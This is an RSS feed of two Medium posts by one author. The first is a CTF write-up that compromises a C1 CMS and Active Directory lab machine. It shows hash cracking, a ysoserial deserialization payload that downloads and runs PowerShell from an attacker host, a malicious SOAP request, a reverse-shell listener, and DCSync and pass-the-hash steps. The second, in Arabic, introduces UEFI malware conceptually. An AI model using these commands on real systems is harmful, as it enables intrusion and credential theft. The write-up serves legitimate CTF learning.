<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Ali Muhannad Ahmed on Medium]]></title>
        <description><![CDATA[Stories by Ali Muhannad Ahmed on Medium]]></description>
        <link>https://medium.com/@swa3tiq?source=rss-ec238977259d------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*_OVesBo0Axsp9VmWadRPKw.jpeg</url>
            <title>Stories by Ali Muhannad Ahmed on Medium</title>
            <link>https://medium.com/@swa3tiq?source=rss-ec238977259d------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Sat, 28 Nov 2026 18:09:16 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@swa3tiq/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[A1 FullPwn CTF Challenge HackTheBox]]></title>
            <link>https://medium.com/@swa3tiq/a1-fullpwn-ctf-challenge-hackthebox-01c60c08e038?source=rss-ec238977259d------2</link>
            <guid isPermaLink="false">https://medium.com/p/01c60c08e038</guid>
            <category><![CDATA[cyberecurity]]></category>
            <category><![CDATA[fullpwn]]></category>
            <category><![CDATA[iraq]]></category>
            <category><![CDATA[ctf-writeup]]></category>
            <dc:creator><![CDATA[Ali Muhannad Ahmed]]></dc:creator>
            <pubDate>Sat, 22 Feb 2025 11:47:43 GMT</pubDate>
            <atom:updated>2025-02-22T12:15:29.282Z</atom:updated>
            <content:encoded><![CDATA[<p>Event: SolyCyber — Sulaymaniyah</p><p>This challenge was part of the <strong>SolyCyber event in Sulaymaniyah</strong>, and it gave a tough time to almost everyone in the competition. But hell yeah, it wasn’t hard for us! The challenge involved a <strong>web application running on C1 CMS</strong> and required a combination of <strong>enumeration, Active Directory exploitation, and password cracking</strong> to gain access.</p><h3>Enumeration and Initial Access</h3><p>The first step was <strong>enumeration</strong> using nmap to scan the target machine for open ports and services. The scan revealed an <strong>Active Directory (AD) service</strong> running with a <strong>guest account login enabled</strong>.</p><pre>nmap -p- -A &lt;target_ip&gt;</pre><p>With this information, I attempted to log in using the <strong>guest account</strong> and successfully gained access. After navigating through the system, I found a file named <strong>Access.docx</strong>, which seemed interesting.</p><h3>Handling the File Format Issue</h3><p>Upon downloading Access.docx, I encountered an issue where the file appeared to be outdated or corrupted. Since older versions of Microsoft Word used the .doc format, I decided to <strong>change the file extension</strong> from .docx to .doc.</p><pre>mv Access.docx Access.doc</pre><p>However, opening the file revealed that it was <strong>password-protected</strong>, preventing direct access to its contents.</p><h3>Extracting and Cracking the Password Hash</h3><p>To bypass the password protection, I used office2john, a tool that extracts password hashes from protected Office files and converts them into a format suitable for cracking.</p><pre>office2john Access.doc &gt; hash.txt</pre><p>With the hash extracted, I moved on to cracking it using hashcat.</p><pre>hashcat -m 9600 hash.txt /path/to/rockyou.txt --force</pre><p>After a short while, hashcat successfully cracked the password, granting me access to the document. The file contained <strong>credentials and sensitive information</strong>, which allowed me to proceed further in the challenge.</p><h3><strong>Extracting Credentials &amp; Web Access</strong></h3><p>Inside the document, I found the following message:</p><blockquote>Hello Peter,<br> I’ve created a new editor account for you to setup the CMS. Use the password C9HUZAQ6mht6Ax4r to access the console. Let me know if you come across any issues.<br> Regards,<br> Sysadmin team</blockquote><p>This appeared to be login credentials for the C1 CMS admin panel, so I proceeded to log in. After diging in the system for like 2 hours i discovered a ctirical exploit leadning to rce <strong>CVE-2019–18211</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*6OkEmY_3_y27Z91x0P6DEA.png" /></figure><p><strong>Exploiting CVE-2019–18211: Remote Code Execution in C1 CMS</strong></p><h3>Understanding CVE-2019–18211</h3><h3>What is Insecure Deserialization?</h3><p>Insecure deserialization occurs when untrusted data is deserialized without proper validation, allowing attackers to manipulate serialized objects to execute arbitrary code. In the case of <strong>CVE-2019–18211</strong>, the EntityTokenSerializer class fails to properly validate serialized input, enabling attackers to inject malicious payloads and achieve <strong>remote code execution (RCE)</strong>.</p><h3>Affected Versions</h3><ul><li>C1 CMS versions <strong>up to 6.6</strong> are affected.</li><li>The vulnerability is present in the TreeServices.asmx endpoint.</li></ul><h3>Exploiting the Vulnerability</h3><p>To demonstrate this attack, we will craft a <strong>malicious SOAP request</strong> that injects a deserialization payload, resulting in a <strong>reverse shell</strong>.</p><h3>1. Generating the Malicious Payload</h3><p>To exploit insecure deserialization, we need to generate a serialized payload that executes our desired command. We will use ysoserial.exe to craft a <strong>.NET deserialization payload</strong> that runs PowerShell to download and execute a script.</p><pre>ysoserial.exe -f BinaryFormatter -g DataSet -o base64 -c &quot;powershell -c \&quot;IEX(New-Object Net.WebClient).DownloadString(&#39;http://&lt;attacker_ip&gt;/shell.ps1&#39;)\&quot;&quot;</pre><p>This payload:</p><ul><li>Uses <strong>BinaryFormatter</strong> serialization.</li><li>Generates a <strong>base64-encoded payload</strong>.</li><li>Downloads and executes a PowerShell script from the attacker’s server.</li></ul><h3>2. Crafting the SOAP Request</h3><p>Next, we embed the <strong>base64 payload</strong> into a SOAP request targeting the TreeServices.asmx endpoint.</p><h4>Malicious SOAP Request:</h4><pre>POST /Composite/services/Tree/TreeServices.asmx HTTP/1.1<br>Host: target_host<br>Content-Type: text/xml; charset=utf-8<br>Content-Length: 1234<br>SOAPAction: &quot;http://www.composite.net/ns/management/GetMessages&quot;</pre><pre>&lt;?xml version=&quot;1.0&quot; encoding=&quot;utf-8&quot;?&gt;<br>&lt;soap:Envelope xmlns:xsi=&quot;http://www.w3.org/2001/XMLSchema-instance&quot; xmlns:xsd=&quot;http://www.w3.org/2001/XMLSchema&quot; xmlns:soap=&quot;http://schemas.xmlsoap.org/soap/envelope/&quot;&gt;<br>  &lt;soap:Body&gt;<br>    &lt;GetMultipleChildren xmlns=&quot;http://www.composite.net/ns/management&quot;&gt;<br>      &lt;clientProviderNameEntityTokenPairs&gt;<br>        &lt;RefreshChildrenParams&gt;<br>          &lt;EntityToken&gt;entityTokenType=&#39;System.Data.DataSet&#39; entityToken=&#39;&lt;base64_payload&gt;&#39;&lt;/EntityToken&gt;<br>        &lt;/RefreshChildrenParams&gt;<br>      &lt;/clientProviderNameEntityTokenPairs&gt;<br>    &lt;/GetMultipleChildren&gt;<br>  &lt;/soap:Body&gt;<br>&lt;/soap:Envelope&gt;</pre><p><strong>Replace </strong><strong>&lt;base64_payload&gt;</strong> with the payload generated earlier.</p><h3>3. Setting Up the Reverse Shell Listener</h3><p>On the attacker’s machine, start a listener to receive the incoming connection from the exploited server:</p><pre>nc -lvnp &lt;listening_port&gt;</pre><h3>4. Sending the Malicious Request</h3><p>Finally, use curl or <strong>Burp Suite</strong> to send the crafted SOAP request:</p><pre>curl -X POST &quot;http://target_host/Composite/services/Tree/TreeServices.asmx&quot; \<br>     -H &quot;Content-Type: text/xml; charset=utf-8&quot; \<br>     -d @malicious_request.xml</pre><p>whoa i got my reverse shell with netcat and able to get the user flag under public/user.txt.</p><p>but now i am on user \\web which is a domain join and all of it activity is limited to the domain, no administration abilities.</p><p>— -</p><h3>Privilege Escalation</h3><p><strong>1. Identifying a Domain User<br></strong>Once inside the system, I realized I had low privileges as the web user. However, this user was domain-joined, meaning it was part of the Active Directory domain but lacked administrative rights.<br><strong>2. Active Directory Enumeration<br></strong>To further enumerate, I uploaded SharpHound to the target and gathered AD information using BloodHound. After analyzing the results, I discovered a domain user named GFisher, who was Kerberoastable and had DCSYNC privileges.<br><strong>3. Kerberoasting GFisher<br></strong>I extracted a TGS (Ticket Granting Service) hash for GFisher and cracked it using hashcat.<br>4<strong>. Exploiting DCSYNC Attack<br></strong>Using the DCSYNC attack, I was able to dump the entire NTDS.DIT database, which contains the administrator hash .<br>I used <strong>secretsdump</strong> to perform the attack:</p><blockquote>secretsdump -outputfile ‘something’ -hashes ‘LMhash’:’NThash’ ‘DOMAIN’/’USER’@’DOMAINCONTROLLER’</blockquote><p>This provided the NTLM hash of the Administrator account.</p><p><strong>6. Gaining Full Control<br></strong>With the Administrator hash in hand, I used Pass-the-Hash (PTH) to authenticate as Domain Admin, gaining full control over the Active Directory.<br>Finally, I retrieved the root flag from the domain controller.</p><p>## Conclusion<br>This challenge demonstrated the power of **Active Directory enumeration, Kerberoasting, and DCSYNC attacks** in escalating privileges. By exploiting **CVE-2019–18211**, we gained an initial foothold and leveraged **BloodHound** to pivot into the domain controller, ultimately achieving full system compromise.</p><p>### Key Takeaways:<br>1. **Enumerate thoroughly** — every detail matters.<br>2. **Privilege escalation in Active Directory** can be extremely powerful.<br>3. **Patch known CVEs**, especially ones involving **insecure deserialization**.</p><p>This challenge was tough, but in the end — **root is root!** 🔥</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=01c60c08e038" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[EFI مقدمة لأخطر وأحدث أنواع الفايروسات]]></title>
            <link>https://medium.com/@swa3tiq/efi-%D9%85%D9%82%D8%AF%D9%85%D8%A9-%D9%84%D8%A3%D8%AE%D8%B7%D8%B1-%D8%A3%D9%86%D9%88%D8%A7%D8%B9-%D8%A7%D9%84%D9%81%D8%A7%D9%8A%D8%B1%D9%88%D8%B3%D8%A7%D8%AA-c2b356a9bfc2?source=rss-ec238977259d------2</link>
            <guid isPermaLink="false">https://medium.com/p/c2b356a9bfc2</guid>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[Ali Muhannad Ahmed]]></dc:creator>
            <pubDate>Sat, 01 Jun 2024 14:50:34 GMT</pubDate>
            <atom:updated>2024-06-01T15:32:14.265Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*RrQGgkKFGq5r_RFIS0_kmA.jpeg" /></figure><p>وَمَا أُوتِيتُمْ مِنَ الْعِلْمِ إِلَّا قَلِيلًا {الإسراء:85}</p><h3><strong>أولاً : ما هي الفايروسات في الحاسوب ؟</strong></h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*riFnj-fkAEdJldCdy12piw.png" /></figure><p>هو نوع من أنواع البرمجيات التخريبية الخارجية، صُنعت عمداً بغرض تغيير خصائص ملفات النظام. تتكاثر الفيروسات عن طريق توليد نفسها بنسخ شفرتها المصدرية وإعادة توليدها، أو عن طريق إصابة برنامج حاسوبي بتعديل خصائصه ( الحقن ).إصابة البرامج الحاسوبية يتضمن، ملفات البيانات، أو قطاع البوت في القرص الصلب.</p><p>تنقسم الفايروسات الى العديد من الانواع منها حصان طروادة وفايروسات الفدية والفايروسات التخريبية لتدمير البيانات بشكل كامل.</p><h3><strong>ثانياً : فهم المساحات التي يعمل بها الحاسوب</strong></h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/563/1*C5LpnnwluS9S7J0l-UW5Eg.png" /></figure><p>الحاسوب يعمل بعدة طبقات ومساحات كما في الشكل أعلاه وكل طبقة لديها صلاحيات معينة.</p><p>جميع التطبيقات التي نستخدمها اليوم مثل كوكل كروم والالعاب وجميع البرامج التنفيذية تعمل على الطبقة السطحية ( الخضراء في الشكل ) وهذه الطبقة هي الأقل في الصلاحيات ولا يمكنها التحكم بالاجزاء المادية للجهاز ( الهاردوير ) ولا يتأثر الجهاز في حالة خطأ برمجي في البرنامج او خروجه ويشغل مساحة افتراضية في الذاكرة.</p><p>أما <strong>الطبقة الاعلى صلاحية</strong> هي طبقة نواة النظام او الكيرنل والتي تعتبر المكون الاساسي لنظام التشغيل ولها القدرة على التحكم في جميع موارد نظام التشغيل, تستطيع التواصل مع الاجهزة الفيزيائية ومكونات الجهاز لذلك تستخدم في كتابة التعاريف وأيضاً في كتابة البرامج العليا مثل برامج الانتي فايروس وبرامج مكافحة الغش في الالعاب, تستطيع من خلال برمجتك في هذه المساحة منع تشغيل تطبيقات قبل ان تشغل مساحة في الذاكرة وايضاً التعديل على الاجزاء الاساسية للنظام.إن اي خطأ في البرامج المكتوبة في هذه المساحة يؤدي الى اغلاق نظام التشغيل بالكامل واعادة تشغيل الجهاز.</p><p>لطالما كانت هذه المساحة الشغل الشاغل لصناع الفايروسات والبرامج الخبيثة او حتى كتابة برامج الغش للالعاب. لان هذه المساحة لا يمكن الوصول لها من قبل البرامج العادية.</p><p>لذلك عند برمجتك بالطبقة الحمراء او طبقة النواة فإنك تستطيع عمل اشياء خارقة.مثل منع النظام من التشغيل نهائياً, البرامج المنتجة من خلال هذه الطبقة تنتهي بالامتداد</p><p>.sys</p><h3><strong>ثالثاً : اذاً ماذا عن اليو أف اي ؟</strong></h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*lPS1KaXzJeIqYw4tPoRxMQ.png" /></figure><p>UEFI (Unified Extensible Firmware Interface)</p><p>هي واجهة برامج ثابتة حلت إلى حد كبير محل البايوس التقليدي (نظام الإدخال / الإخراج الأساسي) في أجهزة الكمبيوتر الأحدث ، ولكن الاستخدام الرئيسي ليو اف اي هو توفير خدمات تهيئة وتمهيد الأجهزة الأساسية ، فهي توفر نظاما أساسيا أكثر تطورا وقابلية للتوسيع لتشغيل وإدارة البرامج الثابتة للنظام ، باختصار ، يعمل كواجهة بين نظام التشغيل والبرامج الثابتة للنظام الأساسي الذي يوفر الخدمات الأساسية</p><p>وبإختصار أكثر اليو اف اي يعمل على اللوحة الام ويتم تشغيله قبل نظام التشغيل أصلاً ويعتبر اليد العليا في الجهاز وهو الذي يحدد كيف يتم البدء بنظام التشغيل.</p><h3>رابعاً : معمارية اليو اي اف اي</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/581/1*D4PuH71zIqYB3DZhvx1w8A.jpeg" /></figure><ol><li>UEFI Boot Services، يتم استخدام خدمات تمهيد اليو اف اي لتوفير الوظائف الأساسية لتشغيل نظام التشغيل وتهيئة مكونات الأجهزة (والتي تشمل إدارة الذاكرة والوصول إلى القرص وما إلى ذلك …) تتوفر خدمات التمهيد أثناء مرحلة ما قبل التمهيد وعادة ما يتم استدعاؤها بواسطة أداة تحميل التشغيل (لتحميل نواة نظام التشغيل في الذاكرة ونقل التحكم إليها).</li></ol><p>2. UEFI Runtime Services، خدمات وقت التشغيل هي مجموعة من وظائف البرامج الثابتة التي تظل متاحة بعد تمهيد نظام التشغيل ،</p><p>3. UEFI Drivers</p><p>، تعد برامج تشغيل UEFI مكونات معيارية تعمل على توسيع وظائف البرامج الثابتة من خلال توفير الدعم لأجهزة معينة أو موارد النظام ، والفرق الرئيسي بين برامج تشغيل UEFI وبرامج تشغيل Kernel هو أنه يتم إعادة تنفيذها كملفات EFI قابلة للتنفيذ ويمكن تنفيذها بواسطة مدير تمهيد UEFI أثناء عملية التمهيد (مما يعني أنه يمكن تحميلها قبل بدء تشغيل نظام التشغيل الخاص بك).</p><p>4.UEFI Boot Manager ، مدير التمهيد UEFI مسؤول عن إدارة عملية التمهيد</p><h3>خامساً : القوة الخارقة لليو إي اف أي</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*CVuBuzwMY3m4LItoRFdHsw.jpeg" /></figure><p>برمجتك للفايروس بهذه التقنية يجعل الفايروس غير قابل للاكتشاف وربما يجعل النظام غير قابل للاستعادة, لان البرامج او التعاريف المكتوبة بهذه التقنية تشتغل أصلاً قبل نظام التشغيل وقبل الانتي فايروسات. وتكون جزء اساسي من مكونات الحاسوب</p><h3>سادساً: مقدمة للبرمجة بهذه التقنية</h3><p>على الرغم انها ممتعة الا انها صعبة جداً وتستخدم لغة سي , لكن ليست كبرمجة اي برنامج اعتيادي فلا يمكنك استخدام مكاتب السي الاعتيادية ولا المتغيرات الاعتيادية انما هو اطار عمل خاص ويجب عليك تعلمه من الصفر كأنه لغة جديدة</p><p>مثال</p><pre><br>#include &lt;edk 2 stuff...&gt;<br> <br>EFI_STATUS uefi_main( IN EFI_HANDLE ImageHandle, IN EFI_SYSTEM_TABLE *SystemTable )<br>{<br>    Print(L&quot;Hi from UEFI driver!\n&quot;);<br>    return EFI_SUCCESS;<br>}<br></pre><p>مصادر للبدء بتعلمها.</p><p><a href="https://github.com/tianocore/edk2">GitHub - tianocore/edk2: EDK II</a></p><iframe src="https://drive.google.com/viewerng/viewer?url=https%3A//uefi.org/sites/default/files/resources/UEFI%2520Spec%25202_6.pdf&amp;embedded=true" width="600" height="780" frameborder="0" scrolling="no"><a href="https://medium.com/media/d2e2eb8ab9bbde1771b7bdd606da1df8/href">https://medium.com/media/d2e2eb8ab9bbde1771b7bdd606da1df8/href</a></iframe><p><a href="https://github.com/ionescu007/VisualUefi">GitHub - ionescu007/VisualUefi: A project for allowing EDK-II Development with Visual Studio</a></p><p>يتبع في الجزء الثاني</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=c2b356a9bfc2" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>